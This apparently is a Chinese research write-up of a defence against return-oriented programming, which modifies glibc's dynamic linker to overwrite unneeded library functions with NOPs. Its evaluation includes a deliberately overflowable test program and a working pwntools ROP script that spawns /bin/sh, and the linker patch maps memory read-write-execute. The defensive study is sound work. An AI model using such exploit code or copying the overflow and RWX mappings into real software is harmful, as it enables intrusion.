代码重用攻击的顺利进行需要两个必不可少的条件:
- 通过某种方式劫持程序控制流。
- 获取内存中目标代码片段的位置信息。
对于代码重用攻击的防御必须立足于这两个环节,务必至少破坏其中之一,才能阻止攻击的进行。
针对这一点,我实施了将进程空间中非必须的指令用空指令,也即0x90覆盖掉这一简单的保护方案(以下称为程序运行时裁剪)。这一保护方案立足于阻止代码重用攻击对目标程序内存中代码片段位置信息的准确获取,进而阻止攻击。要处理和解决的问题主要有:
1 程序函数依赖的静态分析
2 动态链接器的修改和重编译
方案的设计与实现
当前Linux系统中普遍使用Glibc所提供的动态链接器ld.so来实施对可执行程序的装载。同时GNU Binutils套件中诸如objdump,readelf等强大的二进制文件处理工具为方案的具体实施提供了强有力的工具。
方案的总体流程图如下:
程序的静态分析
静态分析关注ELF文件。它保存了足够多的信息。
ELF文件中储存有其所需的动态链接库信息和其所使用的动态链接器相关信息。
后续我们必须修改目标程序ELF文件的相应位置,使其使用新的动态链接器进行装载。
静态分析的整体思路
对目标程序进行静态分析的思路可以归纳为以下几点:
- 对程序本体ELF文件进行分析,得出其依赖的动态链接库和第一层调用所涉及的库函数。
- 在程序所依赖的动态链接库中寻找第一层所调用的库函数,记录其位置信息,包括动态链接库名称,和在对应动态链接库内的相对位移。
- 以上两步得到的信息为起点,在相应的动态链接库内递归地寻找依赖的函数,并记录相关信息,直到不再有新的信息出现,完成程序运行所必需的函数的定位。
具体分析规则的编写
必须明确要从对目标程序的静态分析中获取的信息有哪些,如何获取,定义存储这些信息的数据结构等等,为后续的进一步处理提供支持。对目标程序进行静态分析时,就必须获取目标程序所依赖的函数的相关信息,包括函数所在的动态链接库名称和其在对应动态链接库内的相对位置。
A 第一层调用的库函数
目标程序第一层调用的库函数往往是显式的出现在程序的源码中,如以下示例代码toy.c:
#include <stdio.h>
int main()
{
char *s="hello";
printf("string is %s\n",s);
return 0;
}
很明显,其调用的第一层库函数为printf ()函数。
nm命令主要是用来列出某些文件中的符号表(包括一些函数和全局变量等),以下是nm命令的一个典型输出:
我们关心的库函数则以U为输出的标志,因此,只需对nm命令的输出结果做以下处理,就可以得到第一层调用的库函数。
nm toy | grep –w U | awk '{printf $2 "\n"}'
对toy执行该命令的输出结果如下:
B 在动态链接库内递归寻找函数
首先要先在动态链接库中定位到第一层库函数。
ELF文件中所存储着的有可能不是函数真正的“名字”。比如说,printf ()函数,其在对应的动态链接库libc.so.6中实际上是_IO_printf函数,类似的对应还有很多。所以在定位第一层调用的库函数时,必须建立这样一个函数名的映射关系。在相应的动态链接库中递归地去寻找时,处理的都是真正的函数名,无需再进行函数名的映射。
本文编写shell脚本,利用Linux自带的工具进行相关处理。该脚本的核心在于两个函数的编写,以及这两个函数之间调用关系的精心组织:
- getaddr函数:
getaddr(){
flag=`grep -w "$1" $2`
out=$2
out=${out%a*}"protect"
if [ -n "$flag" ];then
grep -w "$1" $2|awk '{print $2 " " $3}' >>"$out"
fi
}
getaddr取得函数的开始和结束位置,参数为函数名,”所在库名__addr”,将结果保存至“所在库名_protect”文件中,留待提供给动态链接器进行相应处理。
- getfunc函数:
getfunc(){
start=`grep -no $1 $3| cut -d ":" -f 1`
end=`grep -no $2 $3| cut -d ":" -f 1`
let n=$end-$start-1
funcs=$(grep -A $n -P "$1.*>:" $3 | grep -Po '(?<=(<)).*(?=>)')
for func in $funcs
do
{
#处理形如<funcname+offset>型数据
if [[ $func =~ "+" ]];then
func=${func%+*}
fi
func="<"$func">"
printf "$func\n"
}
done
}
getfunc取得某个函数中依赖的其他函数名,参数为函数起、始地址和所在库名。
工作模式是:以获取到的第一层调用库函数为起点,根据函数名,先使用getaddr函数获取所有第一层调用的函数的开始和结束位置。将得到的函数开始和结束位置为参数,在相应的动态链接库中调用getfunc函数得到该函数所依赖的其他函数,将之作为参数,传递给getaddr函数,如此不断进行下去,直到没有新的函数信息被添加进来。
我们以以下libc.so.6的反汇编结果来看:
库函数的完整列表及其在动态链接库内的相对偏移量应该在“<”和“:”之间取得,而函数内又调用的函数则要在“<”和“>”之间取得后去除掉函数名其后的偏移量。
现在我们首先要得出目标程序所依赖的所有动态链接库,Linux系统中的ldd命令可以让我们很轻松的得到这些信息。以下是ldd命令的结果示例:
或者是readelf命令也能达到这一点。
目标程序所需的动态链接库信息已确认,接下来我们将用以下完成第一层调用的库函数的定位。
#取得第一层调用的库函
libfuncs=$(nm target | grep -w U| awk '{printf $2 "\n"}')
let i=0
for libfunc in $libfuncs
do
{
funcname=${libfunc%%@*}
for lib in $libs
do
{
arg=$lib"_addr"
if [ "$funcname" == "printf" ];then
getaddr "_IO_printf" $arg
# 如果还有更多类似printf的对应,可以自行添加
elif [ "$funcname" == "system" ];then
getaddr "__libc_system" $arg
elif [ "$funcname" == "__libc_start_main" ];then
getaddr "__libc_start_main" $arg
else
getaddr $funcname $arg
fi
}
done
let "i++"
}
done
为了方便处理,我们将各动态链接库中的库函数地址提取出来,存入到“库名_addr”文件中。以libc.so.6为例,其库函数的起始地址将被存入到libc_addr中:
<funcname>: start_addr end_addr
以下是libc_addr的示例:
需要注意的是,作为一种特殊的可执行文件,某些动态链接库也可能会调用其他库中的库函数,以数学库libm为例,其依赖于libc中的某些函数,如__strtold_nan,fputs,memset等,表现在反汇编的结果上,就是libm的.plt段会存在这些函数的相关信息。
因此,必须对动态链接库之间的依赖也进行处理。与处理目标程序第一层调用的函数时一样,必须建立函数名的准确映射关系。
以下列目标程序为例:
#include <stdio.h>
#include <math.h>
int main()
{
int x=16;
double y=sqrt(x);
printf("y = %f\n",y);
return 0;
}
该程序依赖的数学库libm中共有405个函数:
经静态分析后,发现目标程序所必需的数学库函数,也就是libm_protect中的数据项,只有41个。
接下来要进行的就是在动态链接器中集成程序运行时裁剪保护方案,对其源码进行相应修改,并重编译。
动态链接器的修改位置
具体进行装载动态链接库进入内存的函数是定义在glibc源代码elf目录下的dl-map-segments,h文件中的_dl_map_segments函数,其函数原型及参数信息如下:
static __always_inline const char *
_dl_map_segments (struct link_map *l, int fd,
const ElfW(Ehdr) *header, int type,
const struct loadcmd loadcmds[],
size_t nloadcmds,
const size_t maplength,
bool has_holes,
struct link_map *loader)
对源码修改位置的具体分析
在_dl_map_segments函数中,比较重要的数据结构是struct link_map,其定义如下:
struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */
ElfW(Addr) l_addr; /* Difference between the address in the ELF file and the addresses in memory. */
char *l_name; /* Absolute file name object was found in. */
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object*/
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
};
link_map中存储着将动态链接库文件映射进内存的相关信息,比如映射的起始位置,映射的长度等等。而对我们来说,最重要的信息就是映射的起始位置。在该函数中,对映射的起始位置的处理由以下代码进行:
ElfW(Addr) mappref
= (ELF_PREFERRED_ADDRESS (loader, maplength, c->mapstart & GLRO(dl_use_load_bias)) - MAP_BASE_ADDR (l));
/* Remember which part of the address space this object uses. */
l->l_map_start = (ElfW(Addr)) __mmap ((void *) mappref, maplength,
c->prot,
MAP_COPY|MAP_FILE,
fd, c->mapoff);
在这里将会调用Linux系统内核函数__mmap函数,其函数原型为:
void* __mmap (void *addr, size_t len, int prot, int flags, int fd, off_t offset)
对源码的具体修改
动态链接器本身是静态链接的,也就是说,动态链接器本身不能再依赖其他动态链接库,因此,动态链接器的源代码中,不能调用其它库函数,只能使用如open()、__mmap ()等系统调用。
由于程序运行时裁剪方案中的裁剪指的是0x90覆盖,所以必须获取对相应内存区间的写权限,而动态链接器源码本身在将目标程序所依赖的动态链接库文件映射进内存时就调用了__mmap,其提供了保护模式的选择,因此,只需要将相应位置的源代码作如下修改:
原代码:
l->l_map_start = (ElfW(Addr)) __mmap ((void *) mappref, maplength,
c->prot,
MAP_COPY|MAP_FILE,
fd, c->mapoff);
修改后的代码:
l->l_map_start = (ElfW(Addr)) __mmap ((void *) mappref, maplength,
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_COPY|MAP_FILE,
fd, c->mapoff);
当然,一般来说,这样的修改会带来安全上的隐患和相当大的风险,但动态链接器在完成每个动态链接库的映射之后,都会将该内存区间的保护模式设置为PROT_NONE,也即不可访问。
完成权限的设置后,就要进行依据存放有目标程序必需的库函数位置信息的各个“库名_protect”文件,对已经被映射进内存的各个动态链接库进行裁剪的工作了。
由于先前的工作中得到的各个“库名_protect”文件中的函数位置信息是按地址升序存放的,而对动态链接库的裁剪又是通过用0x90覆盖非必需的函数,所以,裁剪算法的设计是相当简单的。
算法的程序框图如下:
在实际操作过程中,就需要对各个“库名_protect”文件进行中的数据进行读取。动态链接器是静态链接的,C语言中常用的文件处理函数,如fscanf ()函数等将无法使用。让我们将目光转回到“库名_protect”文件中,其组织方式为:
start_addr end_addr
进一步的分析可以发现,各行中的两列数据在格式上是一致的,位数是相等的(具体位数取决于所用的系统)。下图是libm_protect的一部分:
我们可以通过__mmap系统调用,将各个“库名_protect”文件直接映射进内存进行相关操作。以下是libm_protect通过__mmap映射到内存后,在内存中的存放方式:
可以看到,其在内存中以小端方式存放,具体内容为16进制的:
30303030 30303030 30303030 35386230 ……
也即十进制下的00000000000058b0,0x09为制表符Tab键,0x0a为换行符。这样一来,每17个字节就可以转换出相应的函数位置信息来,只需做简单的数学计算就可以了。为此,在源码中添加了以下函数实现:
int pow16(int n)
{
int i,ret=1;
for(i=0;i<n;i++)
ret=ret*16;
return ret;
}
来计算16的整数次幂,进而辅助进行文件信息的提取。此外,由于在对目标程序所依赖的各个动态链接库进行映射时,上述修改位置处的代码将会被循环使用。所以,必须根据当前正在处理的动态链接库名称,选择不同的“库名_protect”文件。而这时问题又来了,常见的字符串处理函数无法在静态链接的动态链接器中使用,所以必须要在动态链接器源码中自行进行动态链接库名称的处理。实际上,各个动态链接库的命名方式很有区分度,大大方便了该工作的进行。以下是ubuntu 16.04 64位系统中常见动态链接库的名称:
而相应的动态链接库文件名存放在link_map 型结构体l的l_name成员中。以libc.so.6为例,可以做以下处理:
off_t length;
char *addr;
int index;
for(i=0;;i++)
{
if(l->l_name[i]=='.'&&l->l_name[i+1]=='s')
{
index=i-1;
break;
}
}
if(l->l_name[index]=='c')
fd = open("libc_protect", O_RDWR | O_CREAT, 0644);
length = lseek(fd, 1, SEEK_END);
addr = (char *)__mmap(NULL, length, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
动态链接器的重编译
本文所设计运行时裁剪这一保护机制,在最理想的情况下,集成了该方案的动态链接器应该直接作为系统的默认动态链接器来使用,但为了系统的正常工作,最好独立于当前的系统指定动态链接器。因此必须按照以下方式进行重编译和安装:
cd glibc
mkdir build
cd build
./configure --prefix=/不同于当前安装目录的目录
make
sudo make install
正如之前提到的,Linux系统中的elf文件中包含有其所使用的动态链接器相关信息,可以通过patchelf程序来进行修改,使目标程序使用指定的动态链接器。具体如下图所示:
对攻击实例的防御效果
实验将会在64位平台下进行。
实际操作中,我们进行的是ROP攻击。
漏洞代码vuln.c如下:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}
该程序依赖的动态链接库只有libc.so.6。其中第15行代码处存在缓冲区溢出漏洞。攻击目标是要执行system(“/bin/sh”)打开命令行工具。
由于该程序本身含有system函数的位置信息,因此,在实际攻击时,只需要寻找到/bin/sh字符串的地址,构造栈上数据,并通过如下gadget进行参数的传递即可:
pop rdi ;ret
该gadget可以通过ropgadget工具在libc.so.6中寻找,其在库内偏移量如下图所示:
显然其在libc库内的偏移量为0x21102,system函数在库内也很容易定位。
为了简化攻击步骤,我们利用pwntools工具,编写脚本进行攻击,攻击脚本exp.py如下:
#!/usr/bin/env python
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./vuln')
binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
print "binsh_addr_offset = " + hex(binsh_addr_offset)
pop_ret_offset = 0x0000000000021102 - libc.symbols['system']
print "pop_ret_offset = " + hex(pop_ret_offset)
print "\n##########receiving system addr##########\n"
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)
binsh_addr = system_addr + binsh_addr_offset
print "binsh_addr = " + hex(binsh_addr)
pop_ret_addr = system_addr + pop_ret_offset
print "pop_ret_addr = " + hex(pop_ret_addr)
p.recv()
payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
print "\n##########sending payload##########\n"
p.send(payload)
p.interactive()
运行攻击脚本,攻击成功,结果如下图所示:
接下来,实施程序运行时裁剪方案,再次执行攻击脚本,攻击失败,结果如下图所示:
但同时,实施该方案后,程序本身能正常运行:
查看libc_protect文件,0x21102处是非必需函数所在的区域:
在内存中查看相应位置,已被0x90覆盖掉: